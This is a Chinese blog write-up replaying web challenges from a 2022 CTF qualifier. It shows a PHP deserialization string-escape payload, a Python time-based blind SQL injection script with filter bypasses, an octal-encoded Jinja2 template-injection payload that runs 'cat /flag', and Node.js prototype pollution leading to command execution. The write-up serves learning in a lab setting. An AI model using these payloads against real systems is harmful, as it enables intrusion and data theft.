2022强网拟态线上预选赛复现(上)

2022强网拟态线上预选赛复现(上)

前言

这个比赛当时和n1ctf冲了,所以两边同时看是比较花时间。比赛过程中也出现不少需要吸取经验的细节:比如说对题目的时间分配以及漏洞利用方法的总结。

总的来说学到很多...

aurora当时的战况是pwn爷终于愿意帮忙做点pwn题了,@夏男人也过来帮忙出了不少题,但是web方面当时发现ezpop能够时间盲注后就一条路走到黑,没有花时间看whoyouare,导致最终第一天结束发现排名落后严重,失去晋级的机会,大家就变得失落了;最终web方向只完成了ezus和py题,ezpop差一步(读出列名),web_mimic应该是出了但是flag获取不到,norce被@miku神出了但是没交flag(思路我已经看出来了),whoyouare刚刚发现可以四字符rce以及原型链污染。总的来说就是做了2个题还有2个题交不上flag,2道题在路上。

于是赛后复盘如下:

mimic_web

感觉是misc

image-20221108174216289

但是我请求了get不了flag,环境问题

ezus

/index.php/tm.php/%E5%95%8A?source

7个变3个,反序列化字符串逃逸漏洞

php5,这个wakup直接改参数绕过

读hint.php

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=aaaa";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:63:"php://filter/convert.base64-encode/resource=try/pass/../../hint";s:4:"hint";s:63:"php://filter/convert.base64-encode/resource=try/pass/../../hint";}}";}

得知flag在f1111444449999.txt

最后发现加了.php,所以只能在hint那里file_get_content读取

找到了原题https://blog.csdn.net/qq_46091464/article/details/108570212

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=aaaa";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:49:"0://prankhub/../../../../../../f1111444449999.txt";}}

ezpop

password='or/**/0/**/or/**/benchmark(1000000000,0)#&username=admin

发现时间盲注

过滤比较严格:

大于号等于号小于号异或  #可以用case when then else end ; !strcmp(table_schema,"123")
空格                 #可以用/**/
sleep               #可以用benchmark(1000000000,0)
import time
import requests
url='http://172.52.56.117/index.php'
r=requests.session()
flag=''
for i in range(0,1):
    for j in range(33,127):
            # group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=
            # payload="'or/**/(case/**/(right((database()),8))/**/when/**/'%cctfgame'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
            payload="'or/**/(case/**/(right((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer/**/where/**/!strcmp(table_schema,database())),17))/**/when/**/'%cusers,Fl49ish3re'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
            # payload="'or/**/(case/**/(right((version()),6))/**/when/**/'%c.7.39'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
            # payload="'or/**/(case/**/(right((select/**/group_concat(table_name)from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='ctfgame'),1))/**/when/**/'%c'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
            # payload="'or/**/(case/**/(right((select/**/(value)from/**/Fl49ish3re),1))/**/when/**/'%c'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)

            # 5.7.39
            # \ctfgame,ctfgame
            # \users,Fl49ish3re
            data = {"username": 'admin', "password": payload}
            print(payload)
            starttime = time.time()
            r = requests.post(url=url, data=data)
            endtime = time.time()
            t=endtime-starttime
            if t >= 1:
                print(chr(j))
                break
            else:
                continue

吐槽:为什么这个时间盲注脚本不写多一个循环让他逐位爆破呢,那是因为脚本有时候会受到网络延时的影响导致时间盲注结果出错,最后大小写还要手试。

当时苦于不知道在过滤in的情况下找到字段,挣扎很久后遂放弃

后面看到wp

select query from sys.statement_analysis

请求访问的数据库名、数据库最近执行的请求

仔细一想,确实很有可能

本地尝试建表

CREATE DATABASE my_dbThai;
use my_dbThai;
CREATE TABLE Persons
(
Id_P int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);

image-20221106222154109

确实有的,记录一下

wm则是:

sys.x$statement_analysis读列名

测试后发现也是有的

image-20221108172010872

技不如人甘拜下风

没有人比我更懂py

ssti,然后过滤字母

考虑编码绕过,八进制

按照这个:

http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/

当你找到<class 'os._wrap_close'>

这个类就可以直接再后面加上__init__.__golbals__['popen'][ls].read()

八进制的写法:

["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()

//__init__.__golbals__['popen'][ls].read()

所以最终payload

data={{""["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()}}

转八进制或者hex的脚本:

####################   hex   ##########

base = input("请输入要转换的字符串:")
flag = ""
print(base)
for a in base:
    by = bytes(a,'UTF-8')    #先将输入的字符串转化成字节码
    hexstring = by.hex()    #得到16进制字符串,不带0x
    flag = flag + "%" + hexstring

print(flag)

########################  八进制   ##########

base = input("请输入要转换的字符串:")
flag = ""
print(base)
for a in base:
    flag = flag + '\\' + str(oct(ord(a)))[2:]

print(flag)

赛后看其他人的wp,发现还可以unicode字符绕过,和jacko讨论一番,觉得是后端的“繁简切换”功能把全角英文转半角了,而waf是加在这个转化之前的(希望有题目源码的师傅踢我一脚!)

WHOYOUARE

这里一开始json.parse格式输错了,卡了半天,看来这个node有点生疏了

JSON.parse() 方法将数据转换为 JavaScript 对象

由于是JSON.parse(request.body.user)。所以user后面的值是json对象

checkUser规定了 command必须是数组且元素数量小于等于2

(其实有时候可以直接浏览器console)

image-20221108213138007

然后按照这个格式就可以输入

{"user":"{\"username\":\"guest\",\"command\":[\"-c\",\"dir\"]}"}

image-20221108213752028

merge第二次递归调用的时候就会把command里面的id赋值为我们可控的dir

在题目环境中是可以这样rce的,可惜限制了字符数量,并且没有写权限,所以不行

merge函数容易让人想到原型链污染,虽然有过滤

但是经过搜索(关键词key !== '__proto__' bypass),找到了https://gist.github.com/sttk/9e83d802c4a1a2f24fab807b0644a8db

容易想到如果污染user的原型,即

user.__proto__:{"command": ["-c","cat /*"]}

那么解析user.command的时候

image-20221108223552005

就会变成刚刚那个数组

根据文章里面的poc

console.log({}.polluted); // ==> undefined
deepCopy({}, JSON.parse('{"constructor":{"prototype":{"polluted":1}}}'));
console.log({}.polluted); // ==> 1

如法炮制

{"user":"{\"username\":\"guest\",\"constructor\":{\"prototype\":{\"command\": [\"-c\",\"cat /*\"]}}}"}

image-20221108225716135

执行一次后,调试的时候发现request.user的原型被污染为了command: ["-c", "cat /*"]

image-20221108230556141

但是没有用,因为command总是会被赋值,不存在未赋值然后寻找原型的机会

污染环境变量

后面意识到可以写道环境变量里面调用

node@27a7448f2968:/usr/src/app$ export qyxyyds="ls"
node@27a7448f2968:/usr/src/app$ echo $qyxyyds
ls
node@27a7448f2968:/usr/src/app$ bash -c $qyxyyds
app.js  node_modules  package-lock.json  package.json  routes  utils
{"user":"{\"username\":\"guest\",\"command\":[\"-c\",\"env\"],\"constructor\":{\"prototype\":{\"command\": [\"-c\",\"cat /*\"]}}}"}

image-20221109103255039

多了和command变量

咱可以随意指定名称

image-20221109105622215

注意不可以cat /*,因为执行结果中凡是有一个报错就不会输出

{"user":"{\"username\":\"guest\",\"command\":[\"-c\",\"$tai\"],\"constructor\":{\"prototype\":{\"tai\": \"cat /flag\"}}}"}

image-20221109105710381

污染user

还有另一种解法

要意识到我们有两个可以污染原型链的地方:

  • json.parse直接通过赋值的方式污染了user变量
  • merge通过递归的方式污染request.user

image-20221109110926300

就是污染1:cat /flag,这里主要目的是污染user

image-20221109112319020

再次,这个时候我们可以验证一下

image-20221109110931202

可以看到明明似乎command我们只输入了一个元素,这里出现多了一个cay /flag,这是为何呢,和上一步的关系是怎么样的

进去调试,结果Merge后会发现

image-20221109112601161

在merge后,command的内容变成可控的cat /flag

重新进去merge里面调试,原来在这里的时候,我正纳闷着为什么source还有一个叫1的key,原来它的原型链有东西

image-20221109113354997

至于为何source有这个原型链的属性,那是因为它是user,user在json.parse后就被污染了(第一步的时候)

那么之后就会顺理成章的赋值给target,变得可控

这里的payload可以刚好前端输出让我们康康

下面我们直接rce了,通过上面的输出,我们已经确定了user的确被污染,结果Merge后它一定会把变量污染到command中

image-20221109110934826

如果正常是会

node@27a7448f2968:/$ bash -c
bash: -c: option requires an argument

但是污染到的话,最后会多一个参数

image-20221109114410908

所以如此

后面两道java有空再复现了

一个是二次反序列化绕黑名单然后jdbc读文件

另一个编码绕过有点离谱

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇